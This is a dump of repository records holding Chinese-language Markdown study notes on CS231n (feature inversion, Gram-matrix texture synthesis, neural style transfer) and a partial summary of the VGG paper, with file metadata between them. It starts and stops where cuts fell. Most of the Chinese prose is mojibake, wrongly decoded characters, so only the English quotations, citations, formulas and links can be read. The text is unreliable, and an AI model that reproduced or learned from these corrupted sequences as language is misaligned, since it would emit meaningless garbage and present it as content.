ท็š„็‰นๅพ๏ผŒ็Žฐๅœจๆˆ‘ไปฌ่ฎพ็ฝฎๆขฏๅบฆ็ญ‰ไบŽ็‰นๅพๅ€ผ๏ผŒไปฅไฝฟ็ฅž็ป็ฝ‘็ปœๆ”พๅคงๅฎƒๅœจๅ›พๅƒไธญๆ‰€ๆฃ€ๆต‹ๅˆฐ็š„็‰นๅพใ€‚่ฟ™็งๅŠžๆณ•ๅŒๆ ท้€‚็”จไบŽๆœ€ๅคงๅŒ–ๅ›พๅƒๅœจ่ฏฅๅฑ‚็š„ L2 ่Œƒๆ•ฐใ€‚\n\n็›ดๆŽฅๆฅ็œ‹ไปฃ็ ๏ผš\n\n![image-20180907092445305](assets/image-20180907092445305.png)\n\nๅ…ถไธญไธ€ไธชๆŠ€ๅทงๆ˜ฏๅœจ่ฎก็ฎ—ๆขฏๅบฆไน‹ๅ‰ๆŠ–ๅŠจๅ›พๅƒ๏ผŒๅณไธๆ˜ฏ้€š่ฟ‡็ฅž็ป็ฝ‘็ปœ่ฟ่กŒๅฎŒๅ…จๅ’ŒๅŽŸๅ›พๅƒ็›ธๅŒ็š„ๅ›พๅƒ๏ผŒ่€Œๆ˜ฏๅฐ†ๅ›พๅƒ็งปๅŠจไธคไธชๅƒ็ด ๏ผŒๅนถๅฐ†ๅ…ถไป–ไธคไธชๅƒ็ด ๅŒ…่ฃนๅœจ่ฟ™้‡Œใ€‚่ฟ™ๆ˜ฏไธ€็งไฝฟ็”จๆญฃๅˆ™ๅŒ–ไปฅไฝฟๅ›พๅƒๆ›ดๅŠ ๅพ—ๅนณๆป‘ใ€‚ๅŒๆ ทๅœฐ๏ผŒไป–ไปฌไฝฟ็”จๆขฏๅบฆ็š„ L1 ๅฝ’ไธ€ๅŒ–๏ผŒ่ฟ™ๅœจๅฏนๅพ…ๅ›พๅƒ็”Ÿๆˆ้—ฎ้ข˜ไธŠ๏ผŒๆœ‰ๆ—ถๅ€™ไนŸๆ˜ฏไธ€ไธชๆœ‰็”จ็š„ๆŠ€ๅทงใ€‚ไฝ ไนŸๅฏไปฅ็œ‹ๅˆฐไป–ไปฌๆœ‰ๆ—ถๅ€™ไฟฎๆ”นๅƒ็ด ๅ€ผใ€‚ๅ†ๅผบ่ฐƒไธ€้๏ผŒๅƒ็ด ๅ€ผๅบ”่ฏฅ่ขซ้™ๅฎšๅœจ 0 ๅˆฐ 255 ไน‹้—ด๏ผŒ่ฟ™ๆ˜ฏไธ€็งๆŠ•ๅฝฑๆขฏๅบฆไธ‹้™๏ผŒๅณๆŠ•ๅฝฑๅˆฐๅฎž้™…ๆœ‰ๆ•ˆๅ›พๅƒ็š„็ฉบ้—ดไธŠใ€‚\n\n\n\n\n\n\n\n## Feature Inversion\n\n็‰นๅพๅๆผ”ใ€‚\n\nๆญคๅค„ paper ไธค็ฏ‡๏ผš\n\n> Mahendran and Vedaldi, โ€œUnderstanding Deep Image Representations by Inverting Themโ€, CVPR 2015\n>\n> Johnson, Alahi, and Fei-Fei, โ€œPerceptual Losses for Real-Time Style Transfer and Super-Resolutionโ€, ECCV 2016. Copyright Springer, 2016.\n\nๆˆ‘ไปฌๅฐ†่ฆๅš็š„ๆ˜ฏ๏ผŒ้€‰ๅ–ไธ€ๅผ ๅ›พๅƒ๏ผŒ้€š่ฟ‡็ฅž็ป็ฝ‘็ปœ่ฟ่กŒ่ฏฅๅ›พๅƒ๏ผŒ่ฎฐๅฝ•ๅ…ถไธญไธ€ไธชๅ›พๅƒ็š„็‰นๅพๅ€ผ๏ผŒ็„ถๅŽๆ นๆฎๅฎƒ็š„็‰นๅพ่กจ็คบ้‡ๆž„้‚ฃไธชๅ›พๅƒใ€‚ๅŸบไบŽ้‡ๅปบๅ›พๅƒ็š„ๆ ทๅญ๏ผŒ่ฟ™ๅฐ†็ป™ๆˆ‘ไปฌไธ€ไบ›ๅ…ณไบŽๅœจ่ฏฅ็‰นๅพๅ‘้‡ไธญๆ•่Žท็š„ๅ›พๅƒ็ฑปๅž‹็š„ไฟกๆฏใ€‚ๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡ๆขฏๅบฆไธŠๅ‡ๅ’Œๆญฃๅˆ™ๅŒ–ๆฅๅšๅˆฐ่ฟ™ไธ€็‚น๏ผŒไธŽๅ…ถๆœ€ๅคงๅŒ–ๆŸไบ›ๅˆ†ๅ€ผ๏ผŒไธๅฆ‚ๆœ€ๅฐๅŒ–ๆ•่Žทๅˆฐ็š„็‰นๅพๅ‘้‡ไน‹้—ด็š„่ท็ฆป๏ผŒๅนถไธ”ๅœจ็”Ÿๆˆๅ›พๅƒ็š„็‰นๅพไน‹้—ดๅฐ่ฏ•ๅˆๆˆไธ€ไธชๆ–ฐ็š„ไธŽไน‹ๅ‰่ฎก็ฎ—่ฟ‡็š„ๅ›พๅƒ็‰นๅพ็›ธๅŒน้…็š„ๅ›พๅƒใ€‚\n\n![](https://i.loli.net/2018/09/07/5b91d59525c55.png)\n\nๅฆไธ€ไธช็ปๅธธ่งๅˆฐ็š„ๆ˜ฏๆญฃๅˆ™ๅŒ–ๆ˜ฏๅ…จๅ˜ๅทฎๆญฃๅˆ™ๅŒ–๏ผˆTotal Variationregularizer๏ผ‰ใ€‚ๅ…จๅ˜ๅทฎๆญฃๅˆ™ๅŒ–ๆ˜ฏๅฐ†ๅทฆๅณ็›ธ้‚ปๅƒ็ด ไน‹้—ด็š„ๅทฎๅผ‚ๆ‹ผๅ‡‘ๆˆไธŠไธ‹็›ธ้‚ป๏ผŒไปฅๅฐ่ฏ•ๅขžๅŠ ็”Ÿๆˆๅ›พๅƒไธญ็‰นๆฎŠ็š„ๅนณๆป‘ๅบฆใ€‚\n\n![image-20180907094553365](assets/image-20180907094553365.png)\n\n\n\n## Texture Synthesis\n\n็บน็†ๅˆๆˆ โ€”โ€” ่ฎก็ฎ—ๆœบๅ›พๅฝขๅญฆไธญ็š„่€้—ฎ้ข˜\n\n็ป™ๅฎšไธ€ไบ›็บน็†็š„่พ“ๅ…ฅๅ›พๅƒๅ—๏ผŒๅƒไธ‹้ขๅทฆ่พน็š„ๅฐๅฐบๅบฆ๏ผŒ็Žฐๅœจๆˆ‘ไปฌๆƒณ่ฆๆž„ๅปบๆŸไธชๆจกๅž‹ไปฅไฝฟๅ…ถ็”Ÿๆˆๆ›ดๅคงๅฟซ็š„็›ธๅŒ็š„็บน็†ๅ›พๅƒใ€‚ไธพไธชไพ‹ๅญ๏ผŒๆˆ‘ไปฌๆƒณ่ฆๅœจ่ฟ™้‡Œ็”ŸๆˆๅŒ…ๅซ่ฎธๅคšไธŽ่พ“ๅ…ฅๅ›พๅƒ็›ธๅŒๅฐบๅบฆ็š„ๆ›ดๅคง็š„ๅ›พๅƒใ€‚\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Gatys, Ecker, and Bethge, โ€œTexture Synthesis Using Convolutional Neural Networksโ€, NIPS 2015\n\nไธบไบ†ๅœจ็ฅž็ป็ฝ‘็ปœไธŠ่ฟ›่กŒ็บน็†ๅˆๆˆ๏ผŒไป–ไปฌไฝฟ็”จไบ†ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ต๏ผˆgram matrix๏ผ‰ใ€‚ๆˆ‘ไปฌๅฐ†่ฆๅš็š„ๆ˜ฏ๏ผŒๅœจ่ฟ™ไธชๅฎžไพ‹ไธญ๏ผŒ้€‰ๅ–ๆˆ‘ไปฌ่พ“ๅ…ฅ็š„็Ÿณๅคด็บน็†๏ผŒๆŠŠๅฎƒไผ ้€’็ป™ๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผŒๆŠฝๅ–ๅฎƒไปฌๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœๆŸๅฑ‚็š„ๅท็งฏ็‰นๅพใ€‚ๅ‡่ฎพๆˆ‘ไปฌๆญฃๅœจ่ฎจ่ฎบ็š„ๅท็งฏ็‰นๅพไฝ“็งฏๆ˜ฏ C x H x W๏ผŒไฝ ๅฏไปฅๆŠŠๅฎƒ็œ‹ๅš H x W ็š„็ฉบ้—ด็ฝ‘ๆ ผ๏ผŒๅœจ็ฝ‘็ปœไธŠ็š„ๆฏไธ€็‚น้ƒฝๆœ‰ C ็ปด็š„็‰นๅพๅ‘้‡ๆฅๆ่ฟฐๅ›พๅƒๅœจ่ฟ™็‚น็š„ๅค–่ง‚ใ€‚ๆˆ‘ไปฌๅฐ†ไผšไฝฟ็”จๆฟ€ๆดปๆ˜ ๅฐ„ๅ›พ๏ผˆactivation map๏ผ‰ๆฅ่ฎก็ฎ—่พ“ๅ…ฅ็บน็†ๅ›พๅƒ็š„ๆ˜ ๅฐ„็ฌฆ๏ผŒ็„ถๅŽ้€‰ๅ–่พ“ๅ…ฅ็‰นๅพ็š„ไธคไธชไธๅŒๅˆ—๏ผŒๆฏไธช็‰นๅพๅˆ—้ƒฝๆ˜ฏ C ็ปด็š„ๅ‘้‡๏ผŒ็„ถๅŽ้€š่ฟ‡่ฟ™ไธคไธชๅ‘้‡ๅพ—ๅˆฐ C x C ็š„็Ÿฉ้˜ตใ€‚่ฟ™ไธชๅ‘Š่ฏ‰ๆˆ‘ไปฌๅ›พๅƒไธญไธคไธช็‚นไปฃ่กจ็š„ไธๅŒ็‰นๅพ็š„ๅŒ็Žฐๅ…ณ็ณป๏ผˆco-occurrence๏ผ‰ใ€‚ๅฆ‚ๆžœ C x C ็Ÿฉ้˜ตไธญ๏ผŒไฝ็ฝฎ็ดขๅผ•ไธบ i j ็š„ๅ…ƒ็ด ๅ€ผ้žๅธธๅคง๏ผŒ่ฟ™ๆ„ๅ‘ณ็€่ฟ™ไธคไธช่พ“ๅ…ฅๅ‘้‡็š„ไฝ็ฝฎ็ดขๅผ•ไธบ i ๅ’Œ j ็š„ๅ…ƒ็ด ๅ€ผ้žๅธธๅคงใ€‚่ฟ™ไปฅๆŸ็งๆ–นๅผๆ•่Žทไบ†ไธ€ไบ›ไบŒ้˜ถ็ปŸ่ฎก้‡๏ผŒๅณ็‰น็‰นๅพๆ˜ ๅฐ„ๅ›พไธญ็š„ๅ“ชไบ›็‰นๅพ๏ผŒๅ€พๅ‘ไบŽๅœจ็ฉบ้—ด็š„ไธๅŒไฝ็ฝฎไธ€่ตทๆฟ€ๆดปใ€‚\n\n![](https://i.loli.net/2018/09/07/5b91dc3bb9a82.png)\n\n![](https://i.loli.net/2018/09/07/5b91dd16eefee.png)\n\nๆˆ‘ไปฌๅฐ†้€š่ฟ‡ไฝฟ็”จ H x W ็ฝ‘ๆ ผไธญไธๅŒ็‚นๆ‰€ๅฏนๅบ”็š„็‰นๅพๅ‘้‡๏ผŒๅ–ๅฎƒไปฌ็š„ๅนณๅ‡ๅ€ผ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌไผšๅพ—ๅˆฐ C x C ็š„ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ต๏ผŒ็„ถๅŽไฝฟ็”จๆ่ฟฐ็ฌฆ๏ผˆdescriptor๏ผ‰ๆฅๆ่ฟฐ่พ“ๅ…ฅๅ›พๅƒ็š„็บน็†็ป“ๆž„ใ€‚\n\nๅ…ณไบŽๆ ผๆ‹‰ๅง†็Ÿฉ้˜ต็š„ๆœ‰่ถฃ็š„ไธ€็‚นๆ˜ฏ๏ผŒๅฎƒไธขๅผƒไบ†็‰นๅพไฝ“็งฏไธญ็š„ๆ‰€ๆœ‰็ฉบ้—ดไฟกๆฏ๏ผŒๅ› ไธบๆˆ‘ไปฌๅฏนๅ›พๅƒไธญ็š„ๆฏไธ€็‚นๆ‰€ๅฏนๅบ”็š„็‰นๅพๅ‘้‡ๅฏนๅ–ๅนณๅ‡ๅ€ผ๏ผŒๅฎƒๅชๆ˜ฏๆ•่Žท็‰นๅพ้—ด็š„ไบŒ้˜ถๅŒ็Žฐ็ปŸ่ฎก้‡ใ€‚่ฟ™ๆœ€็ปˆๆ˜ฏไธ€ไธชๅพˆๅฅฝ็š„็บน็†ๆ่ฟฐ็ฌฆใ€‚\n\n้กบไพฟๆๅŠไธ€็‚น๏ผŒ่ฟ™้‡Œ็š„่ฎก็ฎ—ไฝ ๆ•ˆ็Ž‡้žๅธธ้ซ˜ใ€‚ไฝ ๅฏ่ƒฝไผšๆ€่€ƒ๏ผšไธบไป€ไนˆไธไฝฟ็”จๅๆ–นๅทฎ็Ÿฉ้˜ตๆˆ–็ฑปไผผ็š„ๆ–นๆณ•๏ผŒ่€Œๆ˜ฏไฝฟ็”จๆœ‰่ถฃ็š„ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ตใ€‚่ฟ™ไธช้—ฎ้ข˜็š„็ญ”ๆกˆๆ˜ฏไฝฟ็”จๅๆ–นๅทฎ็Ÿฉ้˜ตๅŒๆ ทๆœ‰ๆ•ˆ๏ผŒไฝ†ๆ˜ฏ่ฎก็ฎ—ๆˆๆœฌ่ฆ้ซ˜ไธ€ไบ›ใ€‚ๅœจๅฎž้™…ไธญ๏ผŒไบบไปฌๅชๆ˜ฏไฝฟ็”จๆ ผๆ‹‰ๅง†็Ÿฉ้˜ตๆ่ฟฐ็ฌฆใ€‚\n\n![](https://i.loli.net/2018/09/07/5b91e04d7cdbb.png)\n\n![](https://i.loli.net/2018/09/07/5b91e11b50a5b.png)\n\n\n\n\n\n## Neural Style Transfer: Feature + Gram Reconstruction\n\n![](https://i.loli.net/2018/09/07/5b91e26c2ba86.png)\n\nๅฐๅ“ฅ่ดดๅ‡บไบ†ไป–็š„ github ๅ“ˆ๏ผšhttps://github.com/jcjohnson/neural-style\n\n![image-20180907103111634](assets/image-20180907103111634.png)\n\n- ๅฆ‚ๆžœๅนณ่กกๅ†…ๅฎนๅ’Œ้ฃŽๆ ผๅ›พๅƒไน‹้—ด็š„ๆƒ้‡ไปฅๅŠๆŸๅคฑ๏ผŒ็„ถๅŽๅฐฑๅฏไปฅๆŽงๅˆถๅ†…ๅฎนๅ’Œ้ฃŽๆ ผไน‹้—ดๅœจ็”Ÿๆˆๅ›พๅƒ็š„ๆฏ”้‡๏ผš\n\n ![image-20180907103330712](assets/image-20180907103330712.png)\n\n- ๅœจ่ฎก็ฎ—ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ตไน‹ๅ‰๏ผŒ้‡ๆ–ฐ่ฐƒๆ•ด้ฃŽๆ ผๅ›พๅƒ็š„ๅฐบๅฏธๅคงๅฐ๏ผŒๅฐฑๅฏไปฅ่ฎฉไฝ ๆŽงๅˆถไปŽ็‰นๅพๅ›พๅƒไธญ้‡ๆž„็š„็‰นๅพ็š„ๅฐบๅบฆใ€‚ๅฏไปฅ็œ‹ๅˆฐๆˆ‘ไปฌๅทฒ็ปๅฎŒๆˆไบ†็›ธๅŒ็š„้‡ๆž„๏ผŒๅ”ฏไธ€็š„ๅŒบๅˆซๆ˜ฏๅœจๆˆ‘ไปฌ่ฎก็ฎ—ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ตไน‹ๅ‰๏ผŒ้ฃŽๆ ผๅ›พๅƒ็š„ๆฏ”้‡ๅคงๅฐ๏ผš\n\n ![](https://i.loli.net/2018/09/07/5b91e3d9486a3.png)\n\n- ๅฏนๅคš้‡้ฃŽๆ ผๅ›พๅƒ่ฟ›่กŒ้ฃŽๆ ผ่ฟ็งป๏ผŒๅนถไธ”ๅŒๆ—ถๅŒน้…ๅคš้‡ๆ ผๆ‹‰ๅง†็Ÿฉ้˜ต๏ผŒๆ•ˆๆžœไผš้žๅธธๆฃ’ใ€‚\n\n ![](https://i.loli.net/2018/09/07/5b91e474282b6.png)\n\n- ๅฏนๅ›พๅƒๅฏไปฅๆ‰ง่กŒ็ฑปไผผDeepdream็›ธๅŒ็š„ๅคšๅฐบๅบฆๅค„็†๏ผŒ็”Ÿๆˆ้ซ˜ๅˆ†่พจ็Ž‡็š„้ฃŽๆ ผๅ›พๅƒใ€‚\n\n ![](https://i.loli.net/2018/09/07/5b91e4a26fd8a.png)\n\n## Neural Style Transfer: Problem & Solution\n\n- Problem๏ผšStyle transfer requires many forword / backward passes through VGG; very slow!\n- Solution๏ผšTrain *another* neural network to perform style transfer for us!\n\n ![image-20180907104337932](assets/image-20180907104337932.png)\n\nๆ•ˆๆžœๆƒŠ่‰ณ๏ผ้€Ÿๅบฆๅฟซไบ†1000ๅ€๏ผŒๅฐๅ“ฅๆไพ›ไบ†ไปฃ็ ๏ผšhttps://github.com/jcjohnson/fast-neural-style\n\n![](https://i.loli.net/2018/09/07/5b91e6888daad.png)\n\n![webcam](assets/webcam.gif)\n\n\n\nไฟ„็ฝ—ๆ–ฏ็š„็ป„ไนŸๆœ‰ๅšๅŠ ้€Ÿ้ฃŽๆ ผ่ฝฌๆข็š„๏ผš\n\n> Ulyanov et al, โ€œTexture Networks: Feed-forward Synthesis of Textures and Stylized Imagesโ€, ICML 2016\n> Ulyanov et al, โ€œInstance Normalization: The Missing Ingredient for Fast Stylizationโ€, arXiv 2016\n\n![](https://i.loli.net/2018/09/07/5b91e78755c50.png)\n\n![](https://i.loli.net/2018/09/07/5b91e7a5f10d8.png)\n\nGoogle ๆžๅ‡บไบ†ไธ€ไธช one network, many styles:\n\n![image-20180907105257166](assets/image-20180907105257166.png)\n\n![image-20180907105337333](assets/image-20180907105337333.png)\n\n\n\nๆœ€ๅŽๆ€ป็ป“ไธ‹๏ผš\n\n![image-20180907105440113](assets/image-20180907105440113.png)\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_13.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.672877848148346, "alphanum_fraction": 0.7338065505027771, "avg_line_length": 26.721311569213867, "blob_id": "7b2827dbeae6f565adc5314d0a307d20c18e96c2", "content_id": "7a3efe92f9f300d23323f802f4c34572b277ec91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4736, "license_type": "no_license", "max_line_length": 394, "num_lines": 122, "path": "/blog/paper_summary/Very deep convolutional networks for large-scale image recognition.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Very deep convolutional networks for large-scale image recognition\ndate: 2018-08-24\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n# Very deep convolutional networks for large-scale image recognition (2014)\n\n> Simonyan K, Zisserman A. Very deep convolutional networks for large-scale image recognition[J]. arXiv preprint arXiv:1409.1556, 2014.\n\n\n\n<iframe src=\"Very deep convolutional networks for large-scale image recognitionใ€\" style=\"width:1000px; height:1000px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"https://arxiv.org/pdf/1409.1556.pdf\">Download PDF</a></iframe>\n\n\n\n> FYI๏ผš\n>\n> - [VGG่ฎบๆ–‡็ฟป่ฏ‘โ€”โ€”ไธญ่‹ฑๆ–‡ๅฏน็…ง](http://noahsnail.com/2017/08/17/2017-8-17-VGG่ฎบๆ–‡็ฟป่ฏ‘โ€”โ€”ไธญ่‹ฑๆ–‡ๅฏน็…ง/)\n\n\n\n[TOC]\n\n## Introduction\n\nๆ–‡็ซ ่ฐˆๅˆฐ่‡ชไปŽ [Keizhevsky et al. (2012)](./ImageNet Classification with Deep Convolutional Neural Networks.html) ๏ผˆILSVRC-2012 ็š„ๅ† ๅ†›๏ผ‰็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅ‘ๅธƒๅŽ๏ผŒๆœ‰ไธค็ฑปๅœจ่ฏฅๆจกๅž‹ๅŸบ็ก€ไธŠ็š„ๆ”น่ฟ›ๆ–นๅ‘๏ผš\n\n1. (Zeiler & Fergus, 2013; Sermanet et al., 2014): ๅœจ็ฌฌไธ€ๅท็งฏๅฑ‚ไฝฟ็”จไบ†ๆ›ดๅฐ็š„ๆ„Ÿๅ—้‡Ž็ช—ๅฃๅ’Œๆ›ดๅฐ็š„ๆญฅ้•ฟ๏ผ›๏ผˆILSVRC-2013 ็š„ๅ† ๅ†›๏ผ‰\n2. (Sermanet et al., 2014; Howard, 2014): dealt with training and testing the networks densely over the whole image and over multiple scales.\n\n่€Œ่ฏฅๆ–‡็›ฎๆ ‡ๆ˜ฏไธ€ไธชๆ–ฐ็š„ๆ”น่ฟ›ๆ–นๅ‘๏ผš**ๆทฑๅบฆ**๏ผ\n\n่ฟ™ไธชๆจกๅž‹ไธไป…ๆŠŠ ILSVRC ๆ•ฐๆฎ้›†็š„ๅ‡†็กฎ็Ž‡(acc)่ฐƒๅˆฐไบ†ๆœ€ๅฅฝ๏ผŒ่ฟ˜ๅ‘็Žฐๆจกๅž‹ๅฏไปฅ็›ดๆŽฅ้€‚้…ไบŽๅ…ถไป–ๅ›พๅƒ่ฏ†ๅˆซๆ•ฐๆฎ้›†๏ผŒ่€Œไธ”ๆ€ง่ƒฝ่ฟ˜ๆฏ”ไผ ็ปŸ็š„ๆœ€ๅฅฝๆœบๅ™จๅญฆไน ๆจกๅž‹่ฟ˜่ฆๅฅฝใ€‚[ไปฃ็ ๅœฐๅ€](http://www.robots.ox.ac.uk/ ฬƒvgg/research/very_deep/)\n\n\n\n## ConvNet Configurations\n\nไธบไบ†ๆต‹้‡ๆทฑๅบฆๅฏน ConvNet ็š„ๅฝฑๅ“๏ผŒๆ‰€ๆœ‰็š„ๅท็งฏๅฑ‚้ƒฝๆ˜ฏ็”จ็›ธๅŒ็š„ principlesใ€‚\n\n\n\n### Architecture & Configurations\n\n- ้ข„ๅค„็†๏ผšๅชๅšไบ†**ๅ›พๅƒๅŽปๅ‡ๅ€ผ**๏ผˆsubtracting the mean RGB value๏ผ‰๏ผŒ็ป™ๆ‰€ๆœ‰ๅ›พ็‰‡ๅ‡ๅŽปไธ€ไธชๅ‡ๅ€ผๅ›พๅƒใ€‚\n\n่ฟ™ไธค่Š‚็š„ๅ…จ้ƒจๅ†…ๅฎน๏ผŒ้ƒฝๆ˜ฏๅœจ็ป†่‡ด็š„่ฏดๆธ…ๆฅšไธ‹้ข็ฝ‘็ปœ็ป“ๆž„ๅ›พ่กจ๏ผš\n\n![](https://i.loli.net/2018/08/25/5b81787a0e337.png)\n\n- ๆž„้€ ไบ†5ไธช็ฝ‘็ปœๆจกๅž‹๏ผˆๆฏไธ€ๅˆ—๏ผ‰ใ€‚ๅฎƒไปฌ้ƒฝๆœ‰็€็›ธๅŒ็š„ Input๏ผŒๅณ 224x224x3 ๅฐบๅฏธ็š„ๅ›พๅƒ๏ผŒ้ƒฝๆœ‰็€็›ธๅŒ็š„ไธ‰ๅฑ‚ๅ…จ่ฟžๆŽฅ็ฝ‘็ปœๆž„้€ ๏ผˆ4096-4096-1000๏ผ‰๏ผŒๆœ€ๅŽ็”จ softmax ่ฎก็ฎ—่พ“ๅ‡บใ€‚\n- ่ฟ™5ไธชๆจกๅž‹่ฎพ่ฎก็š„ๅทฎๅผ‚ๆ€งไป…ไป…ๅœจไบŽ**ๆทฑๅบฆ**๏ผˆ้™คไบ† A-LRN๏ผ‰ใ€‚ๅณๅœจไธๅŒ็š„ Configurations ๅŸบ็ก€ไธŠ้ƒฝๆœ‰ไธ€ๅฏนๆจกๅž‹ๅฏไปฅ็›ธไบ’ๅฏน็…งใ€‚๏ผˆๅฆ‚ A ไธŽ A-LRNใ€A ไธŽ Bใ€B ไธŽ Cใ€C ไธŽ Dใ€B ไธŽ Dใ€A ไธŽ D ๅ’Œ D ไธŽ E๏ผ‰\n- ๆ‰€ๆœ‰ๆจกๅž‹็š„ๅท็งฏๆ ธ้ƒฝๆ˜ฏ 3x3 ๆˆ– 1x1 ๏ผŒๆญฅ้•ฟ้ƒฝไธบ1ใ€‚ๅ…ถไธญๅท็งฏๆ ธไธบ 3x3 ็š„ padding ่ฎพๅฎšไธบ1ใ€‚ๅ…ฑ5ไธชๆœ€ๅคงๆฑ ๅŒ–ๅฑ‚๏ผŒๆ ธไธบ 2x2๏ผŒๆญฅ้•ฟไธบ 2.\n- ๆ‰€ๆœ‰็š„ๅท็งฏๅฑ‚ๅˆ†็ป„ๅŽ๏ผŒ็‰นๅพๅ›พๆ•ฐ็›ฎ๏ผˆ้€š้“ๆ•ฐ๏ผ‰ๆŒ‰็…งไปŽ64่ตท2็š„ๅ€ๆ•ฐ็›ดๅˆฐ512ใ€‚\n- ไฝœ่€…็‰นๅˆซ็š„ๅผบ่ฐƒไบ†๏ผš**LRN ๅฝ’ไธ€ๅŒ–ๅŽ‹ๆ นๆฏ›็”จๆฒกๆœ‰๏ผ**่ฟ˜ๅ ๆˆ‘็š„ๅ†…ๅญ˜๏ผŒๆตช่ดนไบ†ๆˆ‘็š„ๆ—ถ้—ด๏ผ\n- ๆœ€ๅŽ๏ผŒไฝœ่€…ๆๅŠๅˆฐไป–็š„็ฝ‘็ปœๆจกๅž‹ๅ‚ๆ•ฐๆฏ”้‚ฃไบ›ๆต…ๅฑ‚็š„็ฝ‘็ปœ่ฟ˜่ฆ็œใ€‚\n\n\n\n### Discussion\n\n- ไฝœ่€…ๆๅŠๅˆฐ๏ผšไธคไธช 3x3 ๅท็งฏ่ฎก็ฎ—ๅฑ‚ๅ †ๅ ็š„ๆ•ˆๆžœไธŽไธ€ไธช 5x5 ็š„ๅท็งฏ่ฎก็ฎ—ๅฑ‚ๆ˜ฏ็ญ‰ๆ•ˆ็š„ใ€‚่ฎก็ฎ—็š„่ฏๆ˜Žๅฏๅ‚่€ƒ๏ผš[ๅ…ณไบŽๆ„Ÿๅ—้‡Ž (Receptive field) ไฝ ่ฏฅ็Ÿฅ้“็š„ไบ‹](../posts/receptive_field.html)\n\n - ๅฅฝๅค„1๏ผšๅฏไปฅ่ฎฉๅ†ณ็ญ–่พน็•Œๆ›ดๅŠ ็š„ discriminative.\n\n - ๅฅฝๅค„2๏ผšๅ‡ๅฐ‘ๅ‚ๆ•ฐๆ•ฐ้‡๏ผšไธ‰ไธช 3x3 ๅท็งฏๆ ธ C ้€š้“็š„ๅ‚ๆ•ฐๆœ‰ $3(3^2C^2)=27C^2$๏ผŒ่€Œไธ€ไธช 7x7 ๅท็งฏๆ ธๅฐฑๆ˜ฏๆœ‰ๅ‚ๆ•ฐ $7^2C^2=49C^2$ใ€‚\n\n - ไฝœ่€…ๅฏนๅฐๅท็งฏๆ ธ็š„็†่งฃๅพˆๆทฑๅˆป็‹ฌๅˆฐ๏ผšๆญฃๅˆ™ๅŒ–ๆ•ˆๆžœ\n\n > This can be seen as imposing a regularisation on the 7 ร— 7 conv. filters, forcing them to have a decomposition through the 3 ร— 3 filters (with non-linearity injected in between).\n\n- 1x1 ๅท็งฏๆ ธ็š„ไฝœ็”จๆ˜ฏๅœจไธๅฝฑๅ“ๆ„Ÿๅ—้‡Ž็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆๅ‡ๅ†ณ็ญ–่พน็•Œ็š„**้ž็บฟๆ€งๆ€ง**ใ€‚่ฟ˜ๆœ‰ โ€œNetwork in Networkโ€ architecture of Lin et al. (2014) ไนŸๆœ‰ๆญค็ฑปๅท็งฏๆ ธ็š„่ฟ็”จใ€‚\n\n\n\n## Classification Framework\n\n\n\n## Classification Experiments\n\n\n\n## Conclusion\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ---\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.7416231632232666, "alphanum_fraction": 0.775189220905304, "avg_line_length": 51.27607345581055, "blob_id": "2b184f69d8c61c057955e68d0041cb14d2ddda8c", "content_id": "a6b25dd2c3ce97ea16826ed7fab30195121987a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 35341, "license_type": "no_license", "max_line_length": 629, "num_lines": 326, "path": "/blog/cs231n/CS231n_Neural_Nets_notes_2.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Neural Nets notes 2\ndate: 2018-08-26\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผš็ฅž็ป็ฝ‘็ปœ2\n\n> 